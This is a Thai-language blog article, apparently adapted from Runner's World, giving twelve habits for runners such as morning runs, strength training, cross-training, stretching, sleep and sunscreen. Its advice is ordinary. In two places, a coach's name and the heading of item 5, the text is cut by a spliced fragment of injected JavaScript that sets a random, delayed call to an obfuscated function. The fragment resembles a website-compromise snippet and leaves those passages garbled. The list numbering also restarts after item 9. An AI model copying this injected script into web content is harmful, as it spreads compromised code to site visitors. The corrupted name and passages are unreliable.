12 Good Runnner’s Habits: 12 สุขนิสัยของเหล่านักวิ่งตัวยง

12 Good Runnner’s Habits: 12 สุขนิสัยของเหล่านักวิ่งตัวยง

ต้อนรับปี 2015 เรานำเสนอ 12 สุขนิสัยที่เหล่านักวิ่งแนวหน้านิยมปฎิบัติ ใครทำตามรับรองว่า ฟิตและสุขภาพดีขึ้นแน่นอน

ว่ากันว่าเป้าหมายอันยิ่งใหญ่เหล่านักวิ่งในปี 2015 นี้ คือการลดน้ำหนักได้เป็น 10 กิโล การได้โพสสถิติที่ดีที่สุด ไม่ว่าจะเป็นระยะทางและเวลาที่ดีที่สุด แต่เมื่อเราบรรลุเป้าหมายแล้ว คำถามคือเราจะสามารถพัฒนาได้มากกว่านี้มั้ย จะทำอะไรต่อดี หรือถ้าเราไม่สามารถไปถึงเป้าหมายได้ เราจะทำเช่นใดต่อดี

เพื่อหลีกเลี่ยงอาการย้ำอยู่กับที่ เรามาฟังคำแนะนำคร่าวๆ จากอาจารย์ Tom Hollandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and โค้ช นักกายวิภาคและโภชนาการร่วมทั้งเป็นผู้เขียนหนังสือ The Marathon Method ได้กล่าวไว้ว่า “Runners who are consistent with good habits have the most success” กล่าวคือ นักวิ่งที่มีการออกกำลังกายอย่างมีแบบแผน มี Routine หรือมีการสร้างนิสัยการออกกำลังกายอย่างต่อเนื่อง มีโอกาสบรรลุเป้าหมายที่ตั้งไว้ได้สูง

เราลองมาตั้งเป้าหมายปี 2015 ใหม่ดู โดยอิ่งสถิติเก่าที่เราทำมามากกว่าสิ่งที่เราคาดหวัง การสร้างเป้าหมายหรือ goal ขนาดเล็กๆ อย่างเช่น วิ่ง 3 กิโลแรก 5 กิโลถัดไปและ 10 กิโล และลงแข่ง Mini marathon ครั้งแรก การซอย goal ย่อยๆ จะทำให้เราได้มีโอกาสชื่นชมผลงานตัวเองได้บ่อยขึ้น เป็นการสร้างแรงจูงใจ เพิ่มแรงโมเมนตัมน์ด้านบวกขึ้นเรื่อยๆ ซึ่งอาจจะเป็นแรงผลักดันเราในยามที่เราท้อใจ ไม่ให้เรายอมแพ้ เปรียบได้ว่า การออกกำลังกายอย่างเป็นขั้นเป็นตอนเป็นเหมือนการต่อเติมอิฐบล็อคที่ละขั้น ทำให้เราสามารถควบคุมทิศทาง และสร้างความเข้มแข็งให้กับร่างกายและจิตใจ

การตั้งเป้าหมายใหญ่อย่างเช่นจะลดน้ำหนักให้ได้ 10 กิโลหรือลงวิ่งมาราธอนให้ได้ก่อนสิ้นปีมีความเสี่ยงสูงมาก เพรราะถ้าไม่สามารถทำได้จะให้ผลด้านลบ และทำร้ายจิตใจอย่างมาก เสียเวลาไปเท่าไรก็ไม่ได้กลับมาเท่าที่ต้องการ เป็นการปั้นทอนแรงจูงใจอย่างยิ่ง บางคนถึงกับพูดว่า ”ออกกำลังกายทำไม ออกไปก็เท่าเดิม”

เรามาดู 12 Make it routine การสร้างสุขนิสัยของนักวิ่งในการสร้างแรงจูงใจเพื่อบรรลุเป้าหมายตามที่ประสงค์ไว้

1. Morning Run: วิ่งตอนเช้า

การบาลานซ์งานที่ออฟฟิต ครอบครัวและสังคมเป็นเรื่องยากครับ ถ้าต้องรีบทำงาน รีบกลับบ้าน เพื่อจะมีเวลาออกกำลังกาย แล้วต้องไปออกงานสังคมต่อรับรอว่าไม่รอด แนะนำให้เอาเวลาวิ่งมาไว้หน้าสุดเลย (first agenda) การได้วิ่งหรือออกกำลังตอนเช้าจะช่วยให้รู้สึกสดชื่นกระปรี้กระเปร่าเป็นพิเศษ ได้ความรู้สึกที่ได้บรรลุเป้าหมาย พร้อมทั้งพลังงานพิเศษจากสาร Endorphins ที่สมองหลั่งให้

เริ่มต้นพยายามวิ่งสัปดาห์ละ 1-2 ครั้ง และวันที่ต้องวิ่งต้องนอนให้เร็วกว่าปกติ เตรียมอุปกรณ์ไว้ตั้แต่ก่อนนอน เสื้อวิ่ง กางเกง รองเท้า ขวดน้ำ ถ้าชอบดื่มกาแฟก็เซตตั้งไว้ได้เลย ตั้งนาฬิกาปลุกให้ห่างจากเตียง ให้ต้องเดินมากดปิด ทริคในการสร้างแรงจูงใจให้คิดว่าอย่างน้อยสัปดาห์นี้เราก็มีเวลานอนตื่นสายตั้ง 5 วันนะ

หาแนวร่วม จิตนาการถ้าคุณต้องวิ่งตอนเช้ามืดโดยไม่มีใครเป็นเพื่อน น่ากลัวมั้ยครับ การมีเพื่อนร่วมอุดมการจะช่วยกระตุ้นคุณออกห่างจากเตียงได้เร็วขึ้น ช่วยเพิ่มแรงใจและแรงจูใจได้ด้วย สองหัวย่อมดีกว่าหัวเดียวอยู่แล้ว

ทุกอย่างต้องใช้เวลา การเริ่มวิ่งครั้งแรกคงต้องรู้สึกแปลกๆ เหมือนไม่ลงร่องลงรอยเป็นธรรมดา เพราะร่างกายต้องใช้เวลาในการปรับตัวใหม่ โดยประมาณอยู่ที่ 3-4 สัปดาห์ ลงจะลงตัว ผู้วิ่งกรุณาดูพยากรณ์อากาศด้วยถ้าไม่มากไป เพราะสภาพอากาศก็มีผลต่อการวิ่งเช่นกัน เมื่อวิ่งครบ 2 เดือนลงประเมินดูว่าผลการออกกำลังกายเป็นเช่นใด เพราะจะได้นำมาปรับเปลี่ยนให้เหมาะกับตัวเองมากขึ้น

2. Regular Strength training: สร้างตารางการฝึก strength training

การฝึก Strength training นอกจากช่วยสร้างกล้ามเนื้อ ยังช่วยป้องกันการบาดเจ็บจากการออกกำลังกายด้วย ประโยชน์สำหรับนักวิ่งแน่ๆ คือช่วยให้วิ่งได้เร็วขึ้น ลดอาการปวดเท้า น่องและเข่า แถมหุ่นดู fit & firm บาดใจ พยายามฝึกสัปดาห์ 2-3

ข้อควรรู้ การฝึกแบบ Intense strength training หรือเข้า class อาจกันกับการวิ่งไม่ได้เสมอไป เพราะต้องให้ร่างกายได้พักอย่างน้อย 1 วันหลังจากฝึกหนัก

ผสมผสานการวิ่งและการฝึก strength training เพื่อประหยัดเวลาและให้ผลสูงสุด อย่างเช่น หลังจากวิ่ง 3 ไมล์ ( ประมาณ 5 กิโล) ให้ทำ one legged squat, mountain climb, plank และวิดพื้น อย่างละ 15 ครั้ง 3 เซต แต่ถ้าวันไหนวิ่งหนักก็ให้พักไว้ทำตอนเย็น ให้เวลาร่างกายได้พักฟื้นก่อน

ทำทุกครั้งท่มีโอกาศ ลอง plank ทุกครั้งที่ตื้นเช้าหรือวิดพื้นระหว่างรอน้ำชงกาแฟเดือด หรือจะเข้า class กับเพื่อนๆ ก็ดี การฝึก strength training ต้องค่อยๆ เพิ่มความหนักหน่อย อย่างเช่นเพิ่มรอบ เพิ่มน้ำหนักและท่าใหม่ที่ยากขึ้น

3. Regular Cross-train: ผสมผสานกีฬาประเภทอื่นๆ ในตารางฝึก

นอกเหนือจากการฝึกวิ่งอย่างเดียว ลองเล่นกีฬาประเภทอื่นดูบ้าง อย่างเช่น ว่ายน้ำ ปั่นจักรยาน พายเรือ ซึ่งเป้นการออกกำลังกายแบบ Aerobic เหมือนกัน ถ้าปกติฝึกวิ่งอยู่ที่ 3-4 ครั้งต่อสัปดาห์ก็สามารถเพิ่มกีฬาประเภทอื่นเข้าไปได้อีก และยิ่งมีการฝึกวิ่งเป็นประจำอยู่แล้ว การเพิ่มกิจกรรมประเภทอื่นๆ เข้าไปจะช่วยให้ร่างกายเราแกร่งขึ้น ฟิตขึ้น เพราะมัดกล้ามเนื้อส่วนต่างๆ มีการใช้งาน ช่วยแก้ไขบาลานซ์ของกล้ามเนื้อซีกซ้ายและขวา

ผู้วิ่งสามารถเลือกกิจกรรมที่คล้ายๆ การวิ่งได้เช่น เลือกเล่น สกี (ถ้าอยู่เมืองหนาว) และ Pool running แต่ถ้าตั้งเป้าหมายว่าจะมีสสุขภาพแข็งแรง (overall Fitness) ให้เลือกกิจกรรมที่ต่างกัน เช่น ว่ายน้ำ ปั่นจักรยาน

เราสามารถให้กิจกรรมทางเลือกนี้เป็น aerobic recovery day เป็นการออกกำลังแบบ Recovery หลังจากวันที่วิ่งหนักมา พยายามให้ออกแรงในระดับต่ำหรือออมแรง สำหรับคนที่บาดเจ็บจากการวิ่งเราสามารถเลือกฝึกกิจกรรมทางเลือกนี้ให้หนักขึ้นได้ แต่การฝึกโดยใช้ ฟิตเนส ที่มีการใช้ลู่วิ่งไม่ถือว่าเป็น cross training แต่เป็นการวิ่ง

4. More Vegetable กินผักให้มาก

ผักเป้นอาหารที่ Low-calories และอุดมไปด้วยสารอาหาร แร่ธาตุและวิตมิน ดังนั้นนักวิ่งทุกคนสมควรที่จะใส่ลงไปในเมนูอาหารทุกมื้อ ผักยังให้คาร์โบไฮเดรตเกรดสูง เป็นเชื้อเพลิงอย่างดีต่อการออกกำลังกาย แถมยังให้สาร Antioxidant ดีต่อการฟื้นฟูร่างกาย ประโยชน์อื่นๆ ยังช่วยรักาสมดุลของร่างกายด้วย

ในเมนูอาหารทุกๆ มื้อพยายามกินผักอย่างแรกก่อนเลย แล้วเนื้อนมไข่ค่อยตามมา สำหรับใครที่ไม่ชอบผักก็ให้ใช้วิธีผสม อย่างเช่นเอาไปปั่นใส่รวมกับแป้งทอด หรือค่อยๆ เพิ่มบริมาณ หรือลองกินอาหารว่าง ขนมที่ทำจากผัก แครอท ฝักทอง แทนท่จะเป็นมันฝรั่งอย่างเดียว

ทิปแนะนำ เคยได้ยินผักผลไม้ 5 สีมั้ยครับ นอกจากผักแล้วผลไม้ก็ขาดไม่ได้เช่นกัน แต่ละกรุ๊ปสีก็มีสรรพคุณต่างกันไป อย่างเช่น สีแดง ดีต่อสุขภาพหัวใจหลอดเลือดทางเดินปัสสาวะ ลดมะเร็งต่อมลูกหมาก

5. Warm up, Stretch andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Foam-Roll: ก่อนวอร์มอัพ หลังยืดเส้น

การวิ่งหลายๆ ครั้งจะทำให้กล้ามเนื้อเราสะสมความเครียดมากขึ้น กล้ามเนื้อจะแข็งไม่ยืดหยุ่น เสี่ยงต่ออาการบาดเจ็บ ดังนั้นก่อนวิ่งควรที่จะมีการวอร์มอัพก่อน หรือปุจจุบันจะมีวิธีการยืดกล้ามเนื้อพร้อมกับเคลื่อนไหวไปด้วย ซึ่งเรียกว่าการทำ Dynamic stretch ทั้งนี้เพื่อเป็นการทำให้กล้ามเนื้อตื่นตัวพร้อมรับการทำงานที่หนักหน่วง และหลังจากวิ่งเสร็จเราควรทำการยืดเส้น หรือที่เรียกว่า static stretching ให้กล้ามเนื้อคลายคืนสภาพที่เรียกว่า prerun lenght หรือสภาพเหมือนก่อนวิ่ง ตามการใช้ Foam-rolling ทันทีหรือจะเว้นไว้ทำวันถัดไป การใช้ foam-rolling จะสามารถคลาดกล้ามเนื้อบางส่วนได้ในขณะการยืดเส้นธรรมดาไม่สามารถทำได้

แนะนำว่าควรทำการยืดเส้นอย่างน้อย 10-15 นาทีก่อนวิ่ง ซึ่งตัวอย่างสามารถดูได้ตามคลิปที่โพสไว้ให้นะครับ

หลังวิ่งเสร็จต้องยือเส้น โดยเฉพาะส่วนเอว (Hip Flexors) และส่วนกล้ามเนื้อ Hamstring ซึ่งจะแข็งตัวมากระหว่างวิ่งรวมทั้งตอนนั่งด้วย ต่อมาก็กล้ามเนื้อน่อง (Claves) เพื่อป้องกันอาการบาดเจ็บส่วนเอ็นร้อยหวาย (Achilles tendinitis) และเอ็นใต้ฝ่าเท้า พังผืดใต้ฝ่าเท้าอักเสบ หรือรองช้ำ (Plantar Fasciitis) ตามด้วยส่วนอกและไหล่ เพราะอย่าลืมว่าเราเองก็มีการแกว่งแขนขณะวิ่ง แต่ถ้ายังมีส่วนไหนที่ยังตึง เราสามารถใช้ Foam-rolling เข้าช่วย นวดและค้างไว้ไม่กี่วินาทีแล้วปล่อย

สำหรับคนที่มีเวลาออกกำลังกายจำกัด กรุณาแบ่งเวลา warm-up วิ่ง ยืดเส้น และ foam-rolling ต่อจากยืดเส้นหากมีเวลา หรือยกยอดไว้ในวันถัดไป

6. Unplug: กลับสู่ธรรมชาติ

อาทิตย์ละครั้งให้ลองถอดหูฟัง เอามือถือออกห่างตัวบ้าง แทนที่จะฟังแต่เพลงปลุกใจเวลาวิ่ง ลองวิ่งโดยไม่เพิ่งพาเทคโนโลยีดู เราจะมีการเรียนรู้ประสบการณ์ใหม่ๆ เรียนรู้จังหวะและ pace ที่เป็นธรรมชาติของเรา

ถ้าใครที่ไม่ชินกับการวิ่งโดยไม่มีเพลง ให้ลองเริ่มจากวิ่ง Trail สถานที่ที่เราสามารถชื่นชมกับธรรมชาติรอบข้าง ฟังเสียงนก เสียงลม และการเอาหูฟังออกยังได้ความรู้สึกปลอดภัยในที่แปลกถิ่น อีกช่วงเวลาหนึ่งที่แนะนำให้วิ่งตัวเปล่าคือ การวิ่งหลังจากพักฟื้น ในช่วงนี้การไม้เห็นตัวเลขบน gadget ของเรา จะช่วยลดแรงกดดันจากการไม่เห็น pace ของเรา สามารถสร้างความแข็งแกร่งให้ค่อยเป็นค่อยไป ลดความเสี่ยงการกลับไปบาดเจ็บอีกครั้ง

การที่อยู่ๆ จะวิ่งโดยไม่มีอุปกรณ์เสริมเลย อาจจะทำให้มีอาการไม่เคยชิน พยายามเลือกวัน หรือเซตวัน Tech-free-day ที่แน่นอน เพื่อไม่ให้เป็นการรบกวน Routine ตั้งไว้ ตัวอย่างเช่น หากเซตให้เป็นวันอังคาร สัปดาห์ต่อไปก็ควรเป็นวันอังคาร ทริคอย่างหนึ่งในการวิ่งในได้นานและมีเป้าหมายเมื่อต้องวิ่งตัวเปล่า คือให้เซตเวลาวิ่ง มากกว่าระยะทาง

7. Be chef: กลายร่างเป็นพ่อครัว

เชื่อหรือไม่การรับประทานอาหารนอกบ้านบ่อยๆ มีโอกาสอ้วนมากกว่าทำอาหารทานเองที่บ้าน สาเหตุเพราะเราไม่สามารถควบคุมปริมาณวัตถุดิบ อาทิเช่น น้ำมัน น้ำตาล เกลือและไขมัน ที่ใส่ลงไปในแต่ละจาน การเข้าครัวทำอาหารเองเราจะสามารถควบคุมปริมาณและสัดส่วนพวกน้ำตาล เกลือ ไขมัน โปรตีน ได้เอง การบรรลุเป้าหมาย อย่างลดน้ำหนักจึงดำเนินไปได้เร็วกว่าซื้ออาหารสะดวกซื้อหรือกินตามห้างและ take away

เริ่มต้นจากการศึกษาทางยูทูป หนังสือ คือวิธีที่ดีที่สุดแบบไม่ต้องเสียสตังค์ แต่ถ้าจะเข้าคอร์สเรียนทำอาหารแนะนำโรงเรียนใกล้บ้าน หรือที่มีคอร์สโภชนาการณ์ การทำอาหารไม่จำเป้นต้องเป็นระดับ Master chef แต่อย่างน้อยควรรู้จักเบสิคการปรุงอาหารและการเลือกวัตถุดิบ

ในปัจจุบันมีเมนูนับร้อยบนอินเตอร์เนต เราสามารถกูเกิ้ลหาเมนูสำหรับนักวิ่ง นักออกกำลังได้โดยไม่ยาก จดบันทึกรายการวัตถุดิบที่จะใช้ แล้วถึงโอกาสนี้เดินไปซ๊อปปิ้งห้างใกล้บ้านท่าน จำไว้ว่าผักผลไม้ต้องมาก่อน

8. Add a weekly long Run: วิ่งระยะไกลบ้างในหนึ่งสัปดาห์

หลังจากทดฝึกวิ่งสะสมไมล์ สร้างกล้ามเนื้อ สร้างความอึดมานานนับชั่วโมง อย่างน้อยก็ควรจัดตารางฝึกวิ่งระยะไกล 1 ครั้งต่อสัปดาห๋ ทั้งนี้เพื่อสร้างความเตรียมพร้อมสำหรับงานวิ่งที่จะลงแข่ง สำหรับนักวิ่งหน้าใหม่หรือไมล์สะสมยังน้อยอยู่ ให้โฟกัสการฝึกวิ่งที่ 3-4 ครั้งต่อสัปดาห์แล้วค่อยเพิ่มระยะทาง ให้เพิ่มโดยบวก 10% ของระยะทางที่เราวิ่งไกลที่สุด ห้ามเกินครึ่งไมล์หรือสองไมล์

เราแนะนำให้เขียนใส่ตารางฝึกแล้วแปะบนปฏิทิน พยายามให้มีความยืดหยุ่นเพราะวันเสาร์อาทิตย์อาจจะต้องแบ่งเวลาให้ครอบครัวด้วย ผู้ฝึกต้องเตรียมตัวให้พร้อมก่อนวิ่งระยะไกล ต้องกินให้พอดีและเข้านอนเร็วหน่อย การหาเส้นทางใหม่ๆ สำหรับการวิ่งระยะไกลถือว่าให้ประสบการณ์รู้ที่ดีต่อตัวผุ้วิ่งที่เดียว เป็นการเปลียนรสชาติการวิ่งไปในตัวแถมทำให้เกิดการเรียนรู้ว่าวิ่งระยะไกลต้องเตรียมตัวอย่างไรเตรียมอุปกรณ์อะไรบ้าง การจัดการเวลาเติมน้ำ พลังงาน และควรพักช่วงไหน

ทริคเพิ่มเติม ลองหาเพื่อนฝูงไปวิ่งด้วยกันดู เพราะจะช่วยเสริมสร้างกำลังใจและแรงจูงใจ แถมให้ความรู้สึกปลอดภัย วิ่งสบายใจหายห่วง

9. Sleep & Sleep: นอนให้พอ

สุขนิสัยหลายข้อที่ผ่านมาอาจจะมีผลกระทบต่อนักวิ่งไม่มากเท่าข้อนี้นัก เพราะเมื่อเรานอนหลับไม่เพียวพอ อะไรๆ ก็แย่ไปหมด ไม่ว่าเรื่องงาน ครอบครัวและการออกกำลังกาย ช่วงการนอนหลับจะเป็นช่วงที่ร่างกายได้ซ่อมแซ่มส่วนที่เสียหาย และรีชาร์จพลังงานใหม่ มีการหลั่งสารพวก Growth Hormone ซึ่งช่วยในการเสริมสร้างกล้ามเนื้อ ช่วยให้ระบบประสาทประสานงานได้ดีขึ้น

การอดหลับอดนอน ยังจะไปรบกวนระบบสะสม ไกลโคเจนในกล้ามเนื้อด้วยนะ นี้ยังไม่นับอาการง่วงซึม น้ำหนักลด และโอกาสเสี่ยงเป็นโรคเบาหวานและโรคหัวใจ คนทั่วไปอย่างน้อยควรจะให้เวลานอน 6-9 ชั่วโมง ลองสังเกตตัวเองดูนะครับ ถ้าง่วนอนระหว่างประชุมบ่อยๆ หรือแค่เอนหลังแตะเตียงก็หลับเลย แสดงว่าเรานอนไม่พอ

เริ่มต้นซะแต่ตอนนี้ เพิ่มเวลาครึ่งชั่วโมงหรือหนึ่งชั่วโมง อาจจะต้องมีการประสัมพันธ์เพื่อนฝูง ว่าห้าม Line หรือ text ตอนกลางคืน หรือเปิดโหมดนอนไปเลย และถ้าให้ดีให้เคลียร์ทุกอย่างให้เหลือเวลาอย่างน้อย 1 ชั่วโมงก่อนเข้านอนจะดีมาก

ชั่วโมงก่อนเข้านอน พยายามหยุดดูทีวี คอมและมือถือ เพราะแสงสีฟ้ารบกวนระบบการนอนหลับโดยเฉพาะการสร้างโฮรโมน Melatonin พยายามทำอย่างอื่นที่รีเล็กซ์แทน อย่างเช่นอ่านหนังสือ หลีกเลี่ยงการดื่มเครื่องดื่มที่มีกาเฟอีน อย่างน้อย 6 ชั่วโมงก่อนนอน

สำหรับนักวิ่งยามเช้า ถ้ายังรู้สึกว่านอนไม่พอหรือต้องเข้านอนดึกแน่ๆ ให้ลดระยะทางวิ่งลง

1. Sunblock: ทาโลชั่นกันแดดบ้างนะ

การวิ่ง outdoor เป้นระยะเวลานานๆ อาจเสี่ยงต่อการเป็นมะเร็งผิวหนังได้ ยิ่งคนผิวขาวแล้วยิ่งเสี่ยงสูงกว่าคนเอเชีย ลำแสง UV นอกจากทำให้เกิดมะเร็งแล้ว ยังทำให้เกิดริ้วรอยเร็วขึ้นด้วย

การเลือกโลชั่นต้องดูด้วยว่า สามารถทนอยู่ได้กี่ชั่วโมง และกันน้ำได้หรือไม่ ถ้าต้องวิ่งมาราธอน อย่างน้อยต้องอยู่ยาวถึง 4-5 ชั่วโมง นอกจากการใช้โลชั่น การใช้พวกผ้ากัน UV ก็เป็นทางเลือกที่ดีเช่นกัน เราอาจจะใช้พวก Armsleeve และ legsleeve แทนก็ได้ หรือจะเอาชุดแบบ full body ก็ได้ แล้วอย่าลืมหมวกและแว่นกันแดดด้วยนะครับ

1. Breakfast everyday: มื้อเช้าหาขาด

จากการศึกษาพบว่า 78 % ของคนที่สามารถลดและควบคุมนน้ำหนักได้นั้น รับประทานอาหารเช้าเป็นประจำ กล้ามเนื้อของเรานั้นสามารถเก็บพลังงานได้ประมาณ 6-7 ชั่วโมง ดังนั้นทุกเช้าที่เราตื่นขึ้นมาจำเป็นที่จะต้องเติมพลังงานเข้าไปใหม่ นอกจจากนี้การรับประทานอาหารเช้ามีผลต่ออารมณ์ของเราตลอดทั้งวันด้วย

กระเพาะเราต้องการเวลารับตัว ฉะนั้นอย่ากินของรสจัดในตอนเช้า เลือกกินอาหารที่ให้แคลอรี่ประมาณ 300-400 แคลอรี่ต่อมื้อเช้า ¼ ควรเป็นโปรตีนไร้มันและอีก ¼ ให้เป็นพวกแป้ง (Wholegrain ได้ยิ่งดี) ถ้ากินหลังวิ่งให้จัดสัดส่วน คาร์โบไฮด์เตรต่อโปรตีน 4:1 เพื่อเติมพลังงานที่ใช้ไปและโปรตียสำหรับซ่อมแซมกล้ามเนื้อระหว่างนั่งทำงานทั้งวัน

เราอาจจะใช้วันหยุดเสาร์อาทิตย์ในการจัดตารางเมนูอาหารช่วงเช้าก็ได้นะครับ

2. Sit Less: นั่งให้น้อย เคลื่อนให่เยอะ

นักวิ่งทั่วไปใช้เวลานั่งทำงานวันละ 10 ชั่วโมง 45 นาที และเมื่อบวกช่วงเวลานอนหลับ กล้ามเนื้อช่วงเอว (Hip flexors) และ Hamstring จะแข็งขึ้น เสี่ยงต่อการได้รับบาดเจ็บเมื่อออกกำลังกาย การใช้เวลานานๆ หน้าจอคอมอาจก่อให้เกิดโรคที่เรียกว่า sitting disease ซึ่งก่อให้เกิดโรคอ้วนและหัวใจได้ และการออกกำลังกายอย่างเดียวก็ไม่อาจช่วยได้ แต่การลุกขึ้นเคลื่อนไหวไปมา จะช่วยได้มากทีเดียว

ปัจจุบันมีการผลิต Activity tracker อย่าง Garmin Vivo และ Runtastic Orbit เป็นต้น ที่ช่วยเตือน ให้เรามีการเคลื่อนไหว โดยการเซต mini-goal ให้เราว่าต้องเดินวันละเท่าไร หรือเตือนว่าเรานั่งนานเกินไปแล้วนะ หรืออาจจะเป็นตัวแอพลิเคชั่นก็ได้

อย่างไรก็ตาม การเคลื่อนขยับตัวไปมาในออฟฟิตหรือที่ทำงานของเราก็เป็นสิ่งที่จำเป็น ลองเปลี่ยนนิสัยการเรียกใครคนหนึ่งจาก line หรือ Facebook เป็นการเดินไปเรียกดู ทำบ่อยๆ เข้าก็อาจจะเป็นสุขนิสัยใหม่ของเราเลยที่เดียว

ที่มาRunnersworld